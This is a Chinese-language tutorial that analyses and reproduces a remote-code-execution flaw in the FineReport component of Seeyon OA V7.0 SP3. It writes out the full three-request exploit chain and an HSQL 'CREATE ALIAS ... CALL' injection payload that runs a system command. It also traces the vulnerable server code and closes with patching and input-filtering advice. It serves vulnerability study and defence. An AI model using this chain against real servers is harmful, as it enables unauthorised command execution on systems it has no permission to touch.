致远V7.0SP3历史漏洞分析
字数 3731
更新时间 2026-04-16 12:17:48
致远V7.0 SP3 历史漏洞分析与复现教学文档
1. 漏洞概述
本文档针对“致远V7.0 SP3”版本中存在的历史漏洞(FineReport组件RCE漏洞)进行详细的分析与复现教学。漏洞本质是通过FineReport报表系统的参数处理功能,结合HSQL数据库特性,实现远程命令执行。漏洞利用链涉及三个关键接口的串联调用。
2. 漏洞背景与来源
- 漏洞参考来源:
- https://github.com/aicoa/hound/blob/2222bbff82764e270ed0e0762ca99fdde62c36d8/config/afrog-pocs/vulnerability/fanruan-finereport-fr-log-rce.yaml#L23
- https://xz.aliyun.com/news/10512
- 影响组件:致远OA集成的FineReport报表服务器。
- 前置条件:攻击者需要知晓目标系统的
RootManagerName(默认为admin)。
3. 漏洞复现POC脚本分析
完整的漏洞利用Python脚本展示了三阶段的攻击链。以下为关键步骤分解:
3.1 脚本整体流程
import requests, re, json, sys
host = "http://192.168.49.131/seeyonreport"
report_server = f"{host}/ReportServer"
攻击目标为致远OA的/seeyonreport/ReportServer路径。
3.2 第一阶段 (r0) - 获取SessionID
请求:
GET /seeyonreport/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=admin
目的:获取后续请求必需的sessionID。
响应分析:从返回的HTML或JS中正则匹配提取sessionID(格式如:27978)。
代码关键点:
session_match = re.search(r'sessionID=([0-9A-Za-z\-]+)', resp.text)
3.3 第二阶段 (r1) - 注入恶意参数
请求:
POST /seeyonreport/ReportServer?op=fr_dialog&cmd=parameters_d&sessionID={session_id}&fr_username=admin
POST数据 (payload):
{
"__parameters__": json.dumps({
"LABEL1": "TYPE:",
"TYPE": "6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('calc');select msg, trace, sinfo, logtime from fr_errrecord where 1=1",
"LABEL3": "START_TIME:",
"START_TIME": "2020-08-11 00:00",
"LABEL5": "END_TIME:",
"END_TIME": "2020-08-11 16:41",
"LABEL7": "LIMIT:",
"LIMIT": 2
})
}
目的:将包含HSQL命令注入的TYPE参数(此处为执行calc计算器程序)保存到当前sessionID对应的服务端会话上下文中。此步骤仅为存储,不会触发命令执行。
3.4 第三阶段 (r2) - 触发命令执行
请求:
GET /seeyonreport/ReportServer?_=op=page_content&sessionID={session_id}&pn=1
目的:通过请求报表分页内容(page_content),触发服务端使用之前存储的恶意参数进行报表渲染和查询,从而执行嵌入的HSQL命令,实现RCE。
4. 漏洞原理深入分析
4.1 第一阶段 (r0) 原理分析
- 入口类:
com.fr.web.core.A.DC- 继承
NoSessionIDService,表示此服务无需SessionID即可访问。 actionOP()返回"fr_log",对应URL中的op参数。
- 继承
- 鉴权逻辑:
- 在
process方法中,通过fr_username参数与PrivilegeManager.getRootManagerName()(默认为admin)进行比较鉴权。 - 鉴权通过后,调用
WebActionsDispatcher.dealForActionNoSessionIDCMD分发请求。
- 在
- 命令匹配与执行:
dealForActionNoSessionIDCMD方法遍历DC类中预定义的ActionNoSessionCMD数组,匹配cmd参数(此处为fg_errinfo)。- 匹配到
com.fr.web.core.A.AD类并执行其actionCMD方法。
- SessionID生成:
AD.actionCMD方法调用ReportletDealWith.dealWithEmbeddedReportlet,并传入报表模板路径/com/fr/web/log/logerr_info.cpt。- 在
dealWithEmbeddedReportlet中,调用SessionDealWith.generateSessionID生成一个唯一的SessionID,并与当前报表上下文(ReportSessionIDInfor)关联后存入内存缓存sessionIDMap。 - 此
SessionID是连接前后端报表上下文的关键纽带,在后续请求中通过它来获取完整的参数和执行环境。
4.2 第二阶段 (r1) 原理分析
- 入口类:
com.fr.web.core.A.PDgetCMD()返回"parameters_d"。
- 参数处理流程:
- 通过
SessionDealWith.getSessionIDInfor(sessionID)获取之前创建的ReportSessionIDInfor对象。 - 调用
ReportSessionIDInfor.applySessionIDInforParameters(HttpServletRequest)处理请求参数。
- 通过
- 参数收集与存储:
applySessionIDInforParameters方法内部调用WebUtils.parameters4SessionIDInfor,该方法会从HTTP请求的多个来源(Parameter、Attribute、Session、JSON Body、InputStream)收集所有参数,合并成一个Map。- 这个包含我们恶意Payload的Map被存入
ReportSessionIDInfor对象的parameterMap4Execute属性中。 - 至此,攻击者输入的HSQL注入Payload已成功附着在服务端为该SessionID维护的上下文里。
4.3 第三阶段 (r2) 原理分析
- 入口与分发:
- 请求
op=page_content,由com.fr.web.core.A.BC类处理。 - 经过分发,
cmd=html参数最终由com.fr.web.core.A.RB类处理。
- 请求
- 获取上下文与触发执行:
RB.actionCMD中调用FC.A().A(sessionID, request, response)。- 首先,通过
sessionID再次获取ReportSessionIDInfor对象。 - 然后,调用
ReportSessionIDInfor.getReportPage(int pageNumber)获取报表分页提供者(ReportPageProvider)。 - 在
getReportPage方法中,会调用this.createPageSetChain()创建报表计算链,这是触发报表渲染和计算的关键。
- 漏洞触发点:
- 在报表计算链的执行过程中,系统会从
ReportSessionIDInfor的parameterMap4Execute中取出参数,用于构建SQL查询。 - 当处理到
TYPE参数时,其值为"6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('calc');select ..."。 - 该值被拼接到HSQL查询中。HSQL数据库允许使用
CREATE ALIAS创建Java函数别名。这里创建了一个名为RUMCMD的别名,指向SystemServiceUtils.exeCmd方法,该方法可用于执行系统命令。 - 随后
CALL RUMCMD('calc')调用这个别名,执行了calc.exe命令,从而完成RCE。 - 调用栈最终会进入
com.fr.report.core.A.J.C等方法进行表达式求值和SQL执行。
- 在报表计算链的执行过程中,系统会从
5. 关键知识点总结
- 攻击链:获取Session -> 存储恶意参数 -> 触发参数使用。
- 鉴权绕过:
fr_log接口仅校验fr_username是否为root管理员名,一旦泄露或默认即可利用。 - Session机制:FineReport通过自生成的SessionID在服务端内存中维护报表的完整执行上下文(
ReportSessionIDInfor)。 - 参数注入点:
__parameters__以JSON格式传入,被系统收集并存入会话上下文,在后续报表渲染时被使用。 - 利用技术:HSQL数据库的
CREATE ALIAS功能允许将Java静态方法映射为SQL函数,是实现命令执行的关键。 - 漏洞本质:是一个存储型的SQL注入漏洞,但由于注入的SQL是HSQL,并结合了FineReport的报表渲染机制,最终导致了远程代码执行。
6. 漏洞修复与防御建议
- 升级与补丁:及时更新致远OA及FineReport组件至官方修复版本。
- 输入校验:对
__parameters__等用户可控输入进行严格的校验和过滤,特别是对CREATE ALIAS、CALL等HSQL/Dangerous SQL关键词进行拦截。 - 权限控制:加强
fr_log、fr_dialog等接口的访问控制,避免低权限用户访问管理功能。 - Session安全:确保SessionID不可预测,并设置合理的超时时间。
- 最小权限原则:运行FineReport服务的系统账户应遵循最小权限原则,避免使用高权限账户。
相似文章
相似文章